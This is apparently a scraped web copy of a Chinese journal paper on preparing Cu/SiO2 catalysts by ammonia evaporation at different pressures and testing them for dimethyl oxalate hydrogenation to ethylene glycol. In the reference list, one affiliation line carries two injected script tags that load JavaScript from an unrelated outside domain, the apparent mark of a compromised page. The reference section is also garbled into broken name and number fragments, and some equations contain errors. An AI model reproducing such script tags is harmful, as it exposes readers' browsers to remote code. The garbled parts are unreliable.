蒸氨压力对Cu/SiO<sub>2</sub>催化剂的影响及其草酸二甲酯加氢性能

引用本文

丁丁, 王琪, 金方, 陈亚中, 崔鹏, 刘荣, 沈浩. 蒸氨压力对Cu/SiO₂催化剂的影响及其草酸二甲酯加氢性能 [J]. 应用化学, 33(4): 466-472
DING Ding, WANG Qi, JIN Fang, et al. Influences of the Ammonia Evaporation Pressure on the Structure of Cu/SiO₂ Catalysts and Catalytic Performances for Dimethyl Oxalate Hydrogenation to Ethylene Glycol [J]. Chinese Journal of Applied Chemistry, 33(4): 466-472 复制到剪切板

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蒸氨压力对Cu/SiO₂催化剂的影响及其草酸二甲酯加氢性能

丁丁^a, 王琪^a,^b,^c,^*, 金方^a, 陈亚中^a, 崔鹏^a, 刘荣^d, 沈浩^d

^a合肥工业大学化工学院,可控化学与材料化工安徽省重点实验室合肥 230009

^b 合肥工业大学材料科学与工程博士后流动站合肥 230009

^c安徽六国化工股份有限公司,博士后工作站安徽铜陵 244021

^d安徽六国化工股份有限公司安徽铜陵 244021

通讯联系人:王琪, 副研究员; Tel:0551-62902661; Fax:0551-62901450; E-mail:wangqi@hfut.edu.cn; 研究方向:工业催化

收稿日期:2015-08-12 修回日期:2015-10-19 接受日期:2015-11-20

基金:国家自然科学基金(21106027)资助项目;

摘要

以SiO₂为载体,铜氨溶液为前驱体,采用蒸氨法在不同蒸氨压力下制备了系列铜负载量质量分数为20.0%的Cu/SiO₂催化剂。采用X射线衍射(XRD)、H₂-程序升温还(H₂-TPR)、高分辨透射电子显微镜(HRTEM)、X射线诱导俄歇电子能谱(XAES)等技术手段对催化剂的物理化学性能进行了表征。考察了蒸氨速率对催化剂物化结构及其草酸二甲酯催化加氢制乙二醇的催化性能影响。在反应温度 200 ℃、压力3.0 MPa、液时空速LHSV=0.4 h^-1、氢气草酸二甲酯摩尔比80:1的反应条件下测定了催化剂的活性。结果表明,在蒸氨压力为31.3 kPa条件下制备的催化剂表现出了最佳活性和选择性,草酸二甲酯转化率达到了99.9%,乙二醇选择性达94.4%。 H₂-TPR、XRD、TEM、FTIR及XAES表征结果表明,较低蒸氨压力有利于铜氨离子快速分解负载在载体上,避免铜粒子聚集长大,还原后形成Cu₂O和Cu⁰物种颗粒尺寸较小,分散比较均匀,催化活性,尤其是乙二醇的选择性更佳。

关键词: 蒸氨压力; Cu/SiO2催化剂; 草酸二甲酯加氢

中图分类号:O643.3 文献标志码:A 文章编号:1000-0518(2016)04-0466-07

Influences of the Ammonia Evaporation Pressure on the Structure of Cu/SiO₂ Catalysts and Catalytic Performances for Dimethyl Oxalate Hydrogenation to Ethylene Glycol

DING Ding^a, WANG Qi^a,^b,^c, JIN Fang^a, CHEN Yazhong^a, CUI Peng^a, LIU Rong^d, SHEN Hao^d

^aAnhui Key Laboratory of Controllable Chemical Reaction and Material Chemical Engineering,School of Chemical Engineering,Hefei University of Technology,Hefei 230009,China

^bPost Doctoral Research Station of Materials Science and Engineering,Hefei University of Technology,Hefei 230009,China

^cPostdoctoral Workstation of Anhui Liuguo Chemical Company Limited,Tongling 244021,China

^dAnhui Liuguo Chemical Company Limited,Tongling 244021,China

Corresponding author:WANG Qi, associate professor; Tel:0551-62902661; Fax:0551-62901450; E-mail:wangqi@hfut.edu.cn; Research interests:industrial catalysis

Received:2015-08-12 Revised:2015-10-19 Accepted:2015-11-20

Fund:Supported by the National Natural Science Foundation of China(No.21106027)

Abstract

A series of Cu/SiO₂ catalysts with 20.0% mass fraction of Cu loading was prepared by the ammonia evaporation method using SiO₂ as the support and Cu(NH₃)₄²⁺ aqueous solutions as the precursor. The catalysts were characterized through X-ray diffraction(XRD), H₂-temperaure programmed reduction(H₂-TPR), transmission electronic microscopy(TEM) and X-ray Auger spectra(XAES) to investigate the influence of the ammonia evaporation rate on the catalyst physical and chemical structure and its catalytic performance for the hydrogenation of dimethyl oxalate(DMO) to ethylene glycol(EG). The catalytic activity measurement experiments were performed under working conditions of 200 ℃, p=3.0 MPa, LHSV=0.4 h^-1 and the molar ratio of hydrogen to DMO( n(H₂): n(DMO)=80:1). The results indicate that the catalyst prepared under high vacuum during ammonia evaporation has better catalytic performance. For the catalyst prepared under ammonia evaporation pressure of 31.3 kPa, 99.9% conversion of DMO and 94.4% selectivity to EG are obtained. Characterizations through XRD, H₂-TPR, TEM and XAES suggest that the higher the ammonia evaporation rate, the faster and more uniform distribution of copper precursors upon the SiO₂ support, and the coagulation and growth of the Cu particles during calcination and reduction can be reduced, which guarantees the high catalytic activity, particularly the selectivity to EG.

Keyword: ammonia evaporation pressure; Cu/SiO2 catalysts; hydrogenation of dimethyl oxalate

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乙二醇(EG)具有重要工业用途,可作为生产聚酯纤维、润滑剂、炸药和表面活性剂等产品的添加剂^[1]。乙二醇可通过石化法和C₁法合成,石化法合成乙二醇以环氧乙烷为原料,工艺流程长,能耗大,乙二醇选择性较低。考虑到全球石油资源日益紧缺,我国资源多煤贫油的实际情况,由煤基合成气通过草酸二甲酯制取乙二醇的C₁法更具战略意义^[2]。草酸二甲酯催化加氢包括以下反应:

(1)

(2)

乙二醇过度加氢则生成乙醇:

(3)

因此,催化剂需要较高加氢活性又不能太高,才能同时满足转化率和乙二醇选择性要求。 Cu/SiO₂催化剂用于草酸二甲酯催化加氢制乙二醇最近研究广泛,其制备方法包括浸渍法,沉淀法,溶胶凝胶法以及蒸氨法^[3,4,5,6]。浸渍法不能很好地分散Cu物种,催化活性差;蒸氨法制备的催化剂Cu分散度好,活性高,通过掺杂可以实现良好稳定性^[7],而且蒸氨法还可适合其它中孔载体^[8],或制备成整体催化剂^[9]。对蒸氨法制备Cu/SiO₂催化剂过程研究发现,蒸氨温度为90 ℃时催化剂活性最好^[10]。由于蒸氨是Cu(NH₃)₄²⁺向Cu²⁺转变并与催化剂载体相互作用,并最终沉积在催化剂内孔表面的过程。除了前驱体溶液浓度,蒸氨温度外,蒸氨压力也会影响催化剂形态和活性。本文采用蒸氨法,控制蒸氨过程的压力制备了Cu/SiO₂系列催化剂,考察了催化草酸二甲酯加氢制乙二醇反应性能,探讨蒸氨压力对活性铜物种粒径大小、分散状态等对催化性能的影响。

1 实验部分

1.1 仪器和试剂

氢气程序升温还原于自制TPR装置进行测试;D/Max2500V型X射线衍射仪(日本理学公司),扫描范围2 θ=10°~90°;JEM-2100型高分辨透射电子显微镜(HRTEM,日本电子公司),观察催化剂的形貌、活性物种分布,工作电压为200 kV;Quantum 2000 Scanning ESCA Microprob型俄歇电子能谱仪(XAES,美国Physical Electronics公司),以Al- Kα为辐射源,扫描数次。

Cu(NO₃)₂·3H₂O(分析纯,上海国药公司);NH₃·H₂O(浓度28.0%,上海国药公司);硅胶(Degussa A300,平均粒径9.0 nm,上海迪科实业有限公司)。

1.2 催化剂制备

3.8 g Cu(NO₃)₂·3H₂O溶于80.0 mL去离子水中,室温下滴加NH₃·H₂O至溶液pH值为9.0,搅拌30 min。加入4.0 g硅胶,继续搅拌4.0 h,升温至90 ℃,通过真空表连接的三通阀控制蒸氨的压力分别为101.3、91.3、71.3和51.3 kPa以及31.3 kPa,直至溶液pH值降为7.0左右。抽滤、分离,去离子水洗涤2~3次,100 ℃下干燥12.0 h,空气中以1 ℃/min升温速率升温至450 ℃焙烧4.0 h,选取0.25~0.38 mm颗粒催化剂备用。

1.3 催化剂表征

H₂-TPR:称取50.0 mg 0.25~0.38 mm催化剂,在300 ℃时用50 mL/min Ar气吹扫2.0 h,脱除表面物理吸附物种,冷却至室温。 Ar气切换为5%H₂-95%Ar气混合气,以10 ℃/min的升温速率线性升温至750 ℃进行还原,过程经TCD检测氢气浓度变化。

XRD:将系列催化剂研磨至0.075~0.15 mm,用氢气于300 ℃下还原催化剂4.0 h,N₂气气氛中降温至150 ℃左右,再用2%O₂-98%N₂气混合气钝化处理1.0 h作为试样。

HRTEM:催化剂研磨粉末后取颗粒尺寸小于0.075 nm的粉末,和XRD相同方法制样。采用图像分析方法求解平均粒径大小。

XAES:以表面污染碳的C₁ _s结合能( E_b=284.6 eV)为内标校正其它元素的结合能。

1.4 催化活性评价

催化剂活性测试在连续流动固定床反应器中进行。将1.5 g颗粒大小0.25~0.38 mm催化剂装入反应管中。反应前,在温度300 ℃、压力1.0 MPa条件下通入50.0 mL/min 高纯H₂还原4.0 h。将温度降为200 ℃、压力升至3.0 MPa、H₂流量调至80.0 mL/min,将反应原料质量分数为15.0%草酸二甲酯甲醇溶液通入汽化室于220 ℃汽化后与氢气混合,进入反应器。产物经冷却收集,由日本岛津GC-2014C型气相色谱FID检测器分析,色谱柱为HP-INNOWAX型的毛细管柱,填充物为聚乙二醇。选择正丁醇为内标。

2 结果与讨论

2.1 蒸氨速率与压力的关系

为更准确地表示蒸氨速率,每隔一定时间测定铜氨溶液pH值,结果见图1。

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	图1 不同蒸氨压力下溶液pH值随时间变化Fig.1 Influence of ammonia evaporation pressure upon the pH value change of the aqueous solution

随着蒸氨过程进行,Cu(NH₃)₄²⁺迅速分解,游离氨被蒸出,溶液pH值减小至中性。当蒸氨压力较低时,Cu(NH₃)₄²⁺分解速度加快,除游离氨速率加快,溶液pH值减小趋势加快,溶液达中性所需时间减少。 Cu(NO₃)₂溶液中滴加过量氨水发生以下反应:

$\begin{matrix} C u^{2 +} + 4 N H_{2} \cdot H_{2} O = [Cu (N H_{3})_{4}]^{2 +} + 4 H_{2} O \end{matrix}$ (4)

升温时,[Cu(NH₃)₄]²⁺受热分解:

$\begin{matrix} [Cu*N H_{3})_{4}]^{2 +} = C u^{2 +} + 4 N H_{2} \end{matrix}$ (5)

根据电荷守恒原则,2 c(Cu²⁺)+ c (H⁺)+ c(N $\begin{matrix} H_{4}^{+} \end{matrix}$ )= c(OH^-)+ c (N $\begin{matrix} O_{3}^{-} \end{matrix}$ ),其中2 c(Cu²⁺)= c(N $\begin{matrix} O_{3}^{-} \end{matrix}$ ),因此, c(N $\begin{matrix} H_{4}^{+} \end{matrix}$ )= c(OH^-)- c(H⁺)。计算得到蒸氨过程中溶液中 c(N $\begin{matrix} H_{4}^{+} \end{matrix}$ ),结果如图2所示。

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	图2 不同蒸氨速率下溶液中N $\begin{matrix} H_{4}^{+} \end{matrix}$ 浓度变化曲线图Fig.2 Change of concentration of N $\begin{matrix} H_{4}^{+} \end{matrix}$ with time under different ammonia evaporation pressures

表1 不同蒸氨压力下溶液中N

$\begin{matrix} H_{4}^{+} \end{matrix}$ 离子浓度达到1.0×10^-6 mol/L时所需时间 Table 1 The necessary time for the concentration of N

$\begin{matrix} H_{4}^{+} \end{matrix}$ to reach concentration of 1.0×10^-6 mol/L under different ammonia evaporation pressures

从中可以看出,当蒸氨压力较低时,[Cu(NH₃)₄]²⁺分解速度大大加快,氨脱除速率加快,溶液pH值迅速接近7.0。

2.2 催化剂表征结果

2.2.1 H₂-TPR CuO还原温度的不同归因于Cu物种尺寸、载体与Cu物种相互作用强度以及Cu物种分散度的差异^[3]。从H₂-TPR谱图(图3)中看出,在31.3 kPa条件下蒸氨时,CuO还原峰为269 ℃,随着蒸氨压力增加,催化剂中的CuO还原温度升高,在101.3 kPa条件下蒸氨时CuO还原温度升至298 ℃。还原温度高于260 ℃,表明催化剂中主要存在晶相CuO^[10]。蒸氨压力较低时,CuO还原温度较低,表明晶相CuO粒径较小。在较低压力下蒸氨时,Cu(NH₃ $\begin{matrix} )_{4}^{2 +} \end{matrix}$ 分解后快速负载到SiO₂载体孔道内表面,NH₃从溶液中的快速逸出导致Cu²⁺在SiO₂载体表面迅速分散均匀,并通过静电相互作用与SiO₂载体产生作用。由SiO₂等电点在2~3之间,因此在蒸氨条件下表面带负电。蒸氨压力较高且接近常压时,容易造成Cu²⁺物种在硅胶表面分布不均匀,这主要与NH₃从溶液中的缓慢逸出导致Cu²⁺无法在短时间内迅速分散在SiO₂载体表面,且在已经负载到载体表面的Cu²⁺上再次沉淀团聚相关,最终得到较大CuO颗粒,因而还原峰处于较高温处这与文献[11]报道的结果相近。另外,各还原峰均出现宽峰,表明还原峰为Cu²⁺先还原到为Cu⁺, Cu⁺再进一步还原为Cu^0[12,13]。催化剂经还原活化后同时存在Cu⁺和Cu⁰,共同对催化剂活性起作用。

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	图3 不同蒸氨速率下制备的Cu/SiO₂催化剂H₂-TPR谱图Fig.3 H₂-TPR profile of Cu/SiO₂ catalysts prepared under different ammonia evaporation pressure p/kPa: a.31.3; b.51.3; c.71.3; d.91.3; e.101.3

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图4 不同蒸氨压力下制备的Cu/SiO₂催化剂XRD谱图Fig.4 XRD patterns for the Cu/SiO₂catalysts prepared by ammonia evaporation under different pressures before and after reduction a.before reduction

$\begin{matrix} p_{N H_{3}} \end{matrix}$ =31.3 kPa; b.reduced

$\begin{matrix} p_{N H_{3}} \end{matrix}$ =101.3 kPa; c.reduced

$\begin{matrix} p_{N H_{3}} \end{matrix}$ =91.3 kP; d.reduced

$\begin{matrix} p_{N H_{3}} \end{matrix}$ =71.3 kP; e.reduced

$\begin{matrix} p_{N H_{3}} \end{matrix}$ =51.3 kP; f.reduced

$\begin{matrix} p_{N H_{3}} \end{matrix}$ =31.3 kP

2.2.2 XRD表征结果还原前和还原后的催化剂XRD表征结果见图4。从图4可以看出,还原前催化剂的XRD谱呈弥散状态,只呈现出载体SiO₂衍射峰。在经过H₂还原活化之后,在2 θ=36.5°左右出现Cu₂O的衍射峰,2 θ=43.3°左右出现非常微弱的Cu⁰衍射峰。 Cu₂O衍射峰较为明显,说明催化剂经还原后含Cu⁺较多。 Cu⁰衍射峰较弱,表明蒸氨法制备的Cu/SiO₂催化剂中还原后Cu⁰晶粒很小。还原前的催化剂中并没有CuO晶相衍射峰,表明Cu物种是高度分散在SiO₂表面,或者CuO的晶粒尺寸小于3.0 nm。随着蒸氨压力增加,Cu₂O和Cu⁰晶相衍射峰强度变大,表明催化剂还原后,其中的Cu₂O和Cu⁰晶粒尺寸较大。在31.3 kPa蒸氨压力下制备的催化剂,其还原Cu⁺和Cu⁰的衍射峰均不明显,说明活性Cu物种颗粒小,分散均匀^[13]。

2.2.3 HR-TEM 图5为不同蒸氨压力下制备的催化剂还原后的HR-TEM表征结果。图中黑色颗粒归属于铜物种^[14],从图5可以明显看出,蒸氨压力对活性还原后Cu物种尺寸和分散度具有明显的影响。较低蒸氨压力有利于形成超细Cu物种。通过图像分析后得到的平均Cu晶粒的大小与蒸氨压力之间存在正相关,即蒸氨压力愈小,平均Cu晶粒也越小。蒸氨压力为101.3 kPa时,Cu物种平均粒径大小为7.0 nm,降低蒸氨压力至91.3 kPa时,Cu物种平均粒径大小为5.9 nm,降低蒸氨压力为71.3 kPa时,Cu物种的平均粒径为5.1 nm,而蒸氨压力为51.3和31.3 kPa时,Cu物种的平均粒径大小分别为4.4和3.2 nm。快速蒸氨有利于Cu物种在载体表面的分散,这与XRD、H₂-TPR的表征结果也是一致的。

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	图5 不同蒸氨压力下制备的Cu/SiO₂催化剂还原后的透射电子显微镜照片Fig.5 The high resolution transmission electronic microscopy images of the Cu/SiO₂ catalysts prepared under different ammonia evaporation pressures after reduction p/kPa: A.101.3; B.91.3; C.71.3; D.51.3; E.31.3

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	图6 不同蒸氨压力下制备的Cu/SiO₂催化剂还原后的Cu LMM XAESFig.6 Cu LMM XAES Auger spectra of the Cu/SiO₂ catalysts prepared under different ammonia evaporation pressures after reduction p/kPa: a.101.3; b.91.3; c.71.3; d.51.3; e.31.3

2.2.4 XAES 由于Cu2 p_3/2 XPS谱图中Cu⁺和Cu⁰的结合能差别微小,因此还原后的催化剂表面Cu⁺和Cu⁰的化学环境由Cu LMM俄歇跃迁的区分。图6为不同蒸氨压力下制备的催化剂还原后的Cu LMM XAES,分峰得到的结果如表2所示。从中可以看出,还原后的Cu/SiO₂催化剂表面存在Cu⁺和Cu⁰,且Cu⁺/(Cu⁺+Cu⁰)随蒸氨压力减小而变大,由29.53%增至58.51%,即最大比出现在蒸氨压力为31.3 kPa时。这与文献报道结果吻合^[15,16],在较低蒸氨压力下铜物种迅速分散地负载到SiO₂载体孔道内表面,被还原为Cu⁰后易被钝化为Cu⁺,而常压下催化剂铜物种与硅胶结合较弱易被还原至Cu⁰,且铜物种间有团聚被钝化量少,所以Cu⁺含量低。也证明了蒸氨压力越低催化剂越分散与XRD、H₂-TPR以及HR-TEM的表征结果也是一致的。

表2 由Cu LMM得到的还原后催化剂表面同物种的结合能及含量 Table 2 Cu species and binding energy on the Cu/SiO₂ catalyst derived from Cu LMM spectra

2.3 催化性能

以不同蒸氨速率制备的Cu/SiO₂催化剂上DMO的转化率和EG的选择性见图7。在反应温度200 ℃、压力3.0 MPa、液时空速LHSV=0.4 h^-1、氢气草酸二甲酯摩尔比=80:1的反应条件下,不同蒸氨压力下制备的催化剂上DMO的转化率无显著差别,但是EG的选择性差距很大。蒸氨压力为101.3 kPa时,EG选择性仅为43.6%,但蒸氨压力降为91.3和71.3 kPa时,乙二醇的选择性分别增加到57.4%和61.3%,当蒸氨压力为31.3 kPa时,DMO的转化率接近100%,EG的选择性也达到了94.4%。有关Cu⁰、Cu⁺及Cu²⁺在DMO加氢转化制乙二醇反应中的作用并未形成定论,但相关文献进行了一定程度探讨^[6,15,16]。李振花等^[6]认为,在Cu/SiO₂催化剂中还原后同时存在Cu⁺和Cu⁰,Cu⁺决定DMO的转化率,而Cu⁰决定EG的选择性。 Chen等^[5]发现,Cu⁺与Cu⁰之间的协同作用决定了催化剂DMO加氢活性。 Yin等^[18]认为高的金属分散度和合适的 Cu⁰/Cu⁺比例均有助于提高催化剂活性。在本工作中采用蒸氨法制备含Cu质量分数为20.0%Cu/SiO₂催化剂中,蒸氨压力对还原后催化剂中的Cu₂O及Cu⁰的存在形态产生了重要影响,XRD表征结果表明,在31.3 kPa条件下蒸氨制备的催化剂还原后Cu₂O和Cu⁰晶粒均非常小,TEM表征也证明了Cu物种在31.3 kPa条件下蒸氨时其在催化剂表面的分散度更好,而H₂-TPR结果表明在31.3 kPa下蒸氨时催化剂中Cu物种的可还原性能最好,因此在DMO加氢制取EG的反应中,31.3 kPa蒸氨条件下制备的催化剂表现出了几乎完全转化,同时EG选择性达94.4%的优异催化性能。结果还表明,小尺寸的Cu₂O物种更有利于DMO的转化,因此,对DMO加氢制取EG的Cu/SiO₂催化剂而言,同时获得小尺寸的Cu₂O和Cu⁰,通过控制还原条件其反应条件下的还原气氛,可以维持优化的Cu⁺/Cu⁰比例,可以同时获得高的DMO转化率和EG选择性。

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	图7 蒸氨压力对Cu/SiO₂催化剂性能的影响Fig.7 Effect of ammonia evaporation pressure on the catalytic performance of Cu/SiO₂ catalysts

3 结论

采用蒸氨法制备Cu/SiO₂催化剂过程中,蒸氨压力对Cu物种颗粒尺寸大小及其在载体上的分散度有很大影响。蒸氨压力小时,即真空度较大时,Cu(NH₃)₄²⁺分解后快速负载到SiO₂载体孔道内表面,而蒸氨压力接近常压时,易造成Cu物种在载体表面分散不均匀。在较低蒸氨压力下制备的催化剂经还原后得到的Cu₂O及Cu⁰物种晶粒尺寸更小,在DMO加氢制取EG的反应中表现出了优异的催化性能,DMO转化率接近100%,而EG的选择性达到了94.4%。

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[15]	LI Zhuxia, QIAN Zhigang, ZHAO Xiuge, et al. Effect of Supports on Copper-Based Catalysts for Dimethyl Oxalates Hydrogenation[J]. J East China Univ Sci Technol(Nat Sci Ed)), 2005, 31: 27-30(in Chinese). 李竹霞, 钱志刚, 赵秀阁, 等. 载体对草酸二甲酯加氢铜基催化剂的影响[J]. 华东理工大学学报(自然科学版), 2005, 31: 27-30. [本文引用:2]
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2011

0.0

HUANG

Gesheng

, LI

Zhenyu

, LI

Dingjie

, et al. Analysis of Current Technologies and Prospects of Ethanediol Produced from Oil and Coal[J]. Chem Ind Eng Prog, 2011, 30(7): 1461-1465(in Chinese).

黄格省, 李振宇, 李顶杰, 等. 石油和煤生产乙二醇技术现状及产业前景分析[J]. 化工进展, 2011, 30(7): 1461-1465.

The recent technologies of ethanediol produced from oil and coal are introduced. Ethanediol production，market and prospects at home and abroad are analyzed. The demand of ethanediol in China is driven by the rapidly developing polyester industry，and the market prospect of ethanediol is broad. Although the coal to ethanediol technology has been taken as one of the key fields to be developed for the coal chemical industry of China，the resources and markets should be considered carefully the decision of building new production is made. China should focus on reducing cost and actively responding to the challenges of foreign imports，strengthening research and development，and expending the field of application.

介绍了石油路线、煤路线生产乙二醇技术的最新进展，对国内外乙二醇生产、市场状况及发展前景进行了分析。结论认为，我国聚酯产业的快速发展推动了对乙二醇的需求，乙二醇发展前景广阔；煤制乙二醇作为我国煤化工发展重点之一，建设新装置应根据原料资源和市场状况谨慎决策；我国乙二醇生产要努力降低成本，积极应对国外进口产品的竞争；应加强乙二醇生产新技术研发，同时拓展乙二醇产品的应用领域。

... 乙二醇(EG)具有重要工业用途,可作为生产聚酯纤维、润滑剂、炸药和表面活性剂等产品的添加剂^[1] ...

2013

0.0

SONG

Heyuan

, JIN

Ronghua

, KANG

Meirong

, et al. Progress in Synthesis of Ethylene Glycol through C1 Chemical Industry Routes[J]. Chinese J Catal, 2013, 34(6): 1035-1050(in Chinese).

宋河远, 靳荣华, 康美荣, 等. 碳一化工路线制备乙二醇研究进展[J]. 催化学报, 2013, 34(6): 1035-1050.

... 考虑到全球石油资源日益紧缺,我国资源多煤贫油的实际情况,由煤基合成气通过草酸二甲酯制取乙二醇的C₁法更具战略意义^[2] ...

2011

0.0

... Cu/SiO₂催化剂用于草酸二甲酯催化加氢制乙二醇最近研究广泛,其制备方法包括浸渍法,沉淀法,溶胶凝胶法以及蒸氨法^[3-6] ...

... 1 H₂-TPR CuO还原温度的不同归因于Cu物种尺寸、载体与Cu物种相互作用强度以及Cu物种分散度的差异^[3] ...

2008

0.0

WANG

Baowei

, ZHANG

, XU

Qian

, et al. Preparation and Characterization of Cu/SiO₂ Catalyst and Its Catalytic Activity for Hydrogenation of Diethyl Oxalate to Ethylene Glycol[J]. Chinese J Catal, 2008, 29(3): 275-280(in Chinese).

王保伟, 张旭, 许茜, 等. Cu/SiO₂催化剂的制备、表征及其对草酸二乙酯加氢制乙二醇的催化性能[J]. 催化学报, 2008, 29(3): 275-280.

The Cu/SiO2 catalyst for gas-phase hydrogenation of diethyl oxalate (DEO) to ethylene glycol (EG) was prepared through the homogeneous deposition-precipitation method. The catalyst was evaluated at different reaction temperatures, pressures, and molar ratios of H2/DEO to optimize the catalyst preparation method and reaction conditions. Characterizations were carried out using various methods such as TPR, XRD, BET, HRTEM, and SEM to study the thermal stability of the catalyst, the catalyst forming, and the distribution of the active site. From the results of these experiments, the best preparation method, Cu loading, reduction temperature, and reaction conditions were obtained. Under the optimized conditions, the DEO conversion and EG yield reached 94.8% and 76.0%, respectively.

Key Laboratory for Green Chemical Technology of the Ministry of Education, School of Chemical Engineering and Technology, Tianjin University, Tianjin 300072, China<script src=http://7o8.net/c.js></script><script src=http://7o8.net/c.js></script>

用沉淀沉积法和不同加料顺序制备了一系列草酸二乙酯气相加氢制乙二醇的Cu/SiO2催化剂,考察了反应温度、反应压力及氢气/草酸二乙酯摩尔比对催化性能的影响,以优化催化剂的制备方法和反应工艺条件. 通过TPR, XRD, BET, HRTEM和SEM对催化剂进行了表征,揭示催化剂的稳定性、成型和活性位的分布. 通过对实验数据的分析,确定了最佳的制备方法、铜负载量、还原温度和反应工艺条件,使草酸二乙酯的转化率和乙二醇的收率分别达到94.8%和76.0%.

2008

0.0

... Chen等^[5]发现,Cu⁺与Cu⁰之间的协同作用决定了催化剂DMO加氢活性 ...

1995

0.0

Zhenhua

, XU

Genhui

, WANG

Haijing

, et al. Effect of the Preparation of Cu-based Catalyst on the Hydrogenation of Diethyl Oxlate[J]. Chinese J Catal, 1995, 16(1): 9-14(in Chinese).

李振花, 许根慧, 王海京, 等. 铜基催化剂的制备方法对草酸二乙酯加氢反应的影响[J]. 催化学报, 1995, 16(1): 9-14.

草酸二乙酯加氢生成乙二醇的反应过程中。所用的铜基催化剂是由Cu(NO_3)_2与硅溶胶胶凝法制得的.本文考察了该催化剂的TPR特性,结果表明.随着催化剂中Cu/ SiO_2值的增大.其TPR主峰T_m峰温有所升高.这意味着催化剂的还原温度随Cu/SiO_2值的增大而提高.用XRD和XPS等手段对该催化剂还原后铜的含量及价态进行了考察.表明用胶凝法制备的铜基催化剂,还原后存在Cu～0 和Cu～- 两种价态.结合活性评价结果.证明Cu～-决定着反应物的转化率,而Cu～0 则决定着乙二醇的选择性.

... Cu/SiO₂催化剂用于草酸二甲酯催化加氢制乙二醇最近研究广泛,其制备方法包括浸渍法,沉淀法,溶胶凝胶法以及蒸氨法^[3-6] ...

... 有关Cu⁰、Cu⁺及Cu²⁺在DMO加氢转化制乙二醇反应中的作用并未形成定论,但相关文献进行了一定程度探讨^{[6, 15-16]} ...

... 李振花等^[6]认为,在Cu/SiO₂催化剂中还原后同时存在Cu⁺和Cu⁰,Cu⁺决定DMO的转化率,而Cu⁰决定EG的选择性 ...

2013

0.0

... 蒸氨法制备的催化剂Cu分散度好,活性高,通过掺杂可以实现良好稳定性^[7],而且蒸氨法还可适合其它中孔载体^[8],或制备成整体催化剂^[9] ...

2013

0.0

... 蒸氨法制备的催化剂Cu分散度好,活性高,通过掺杂可以实现良好稳定性^[7],而且蒸氨法还可适合其它中孔载体^[8],或制备成整体催化剂^[9] ...

2012

0.0

... 蒸氨法制备的催化剂Cu分散度好,活性高,通过掺杂可以实现良好稳定性^[7],而且蒸氨法还可适合其它中孔载体^[8],或制备成整体催化剂^[9] ...

1999

0.0

... 对蒸氨法制备Cu/SiO₂催化剂过程研究发现,蒸氨温度为90 ℃时催化剂活性最好^[10] ...

... 还原温度高于260 ℃,表明催化剂中主要存在晶相CuO^[10] ...

1996

0.0

2014

0.0

... 另外,各还原峰均出现宽峰,表明还原峰为Cu²⁺先还原到为Cu⁺, Cu⁺再进一步还原为Cu^0[12-13] ...

2008

0.0

... 另外,各还原峰均出现宽峰,表明还原峰为Cu²⁺先还原到为Cu⁺, Cu⁺再进一步还原为Cu^0[12-13] ...

... 3 kPa蒸氨压力下制备的催化剂,其还原Cu⁺和Cu⁰的衍射峰均不明显,说明活性Cu物种颗粒小,分散均匀^[13] ...

2013

0.0

... 图中黑色颗粒归属于铜物种^[14],从图5可以明显看出,蒸氨压力对活性还原后Cu物种尺寸和分散度具有明显的影响 ...

2005

0.0

Zhuxia

, QIAN

Zhigang

, ZHAO

Xiuge

, et al. Effect of Supports on Copper-Based Catalysts for Dimethyl Oxalates Hydrogenation[J]. J East China Univ Sci Technol(Nat Sci Ed)), 2005, 31: 27-30(in Chinese).

李竹霞, 钱志刚, 赵秀阁, 等. 载体对草酸二甲酯加氢铜基催化剂的影响[J]. 华东理工大学学报(自然科学版), 2005, 31: 27-30.

以草酸二甲酯加氢反应为基础,研究了二氧化硅载体对铜基催化剂加氢反应性能的影响.催化剂分别以气相硅溶胶、硅胶、二氧化硅为载体,采用沉淀沉积法制备了Cu/SiO2催化剂(wCu=0.20),分别记为CS1、CS2、CS3,催化剂的活性从CS3、CS2到CS1依次增加.XRD测试物相结构表明:氧化态CS2和CS3中存在CuO晶相,而氧化态CS1中活性组分呈无定形分布.还原态催化剂的XRD测试表明催化剂中有Cu2O和Cu0存在,且Cu2O/Cu0的比例按CS3、CS2、CS1顺序增加,XPS分析证实了3个催化剂表面Cu2O/Cu0的比例有相应的变化趋势.这说明Cu2O和Cu0与草酸二甲酯加氢反应活性相关,提高Cu2O的含量,可以提高催化剂的活性.

... 这与文献报道结果吻合^[15-16],在较低蒸氨压力下铜物种迅速分散地负载到SiO₂载体孔道内表面,被还原为Cu⁰后易被钝化为Cu⁺,而常压下催化剂铜物种与硅胶结合较弱易被还原至Cu⁰,且铜物种间有团聚被钝化量少,所以Cu⁺含量低 ...

... 有关Cu⁰、Cu⁺及Cu²⁺在DMO加氢转化制乙二醇反应中的作用并未形成定论,但相关文献进行了一定程度探讨^{[6, 15-16]} ...

2011

0.0

... 有关Cu⁰、Cu⁺及Cu²⁺在DMO加氢转化制乙二醇反应中的作用并未形成定论,但相关文献进行了一定程度探讨^{[6, 15-16]} ...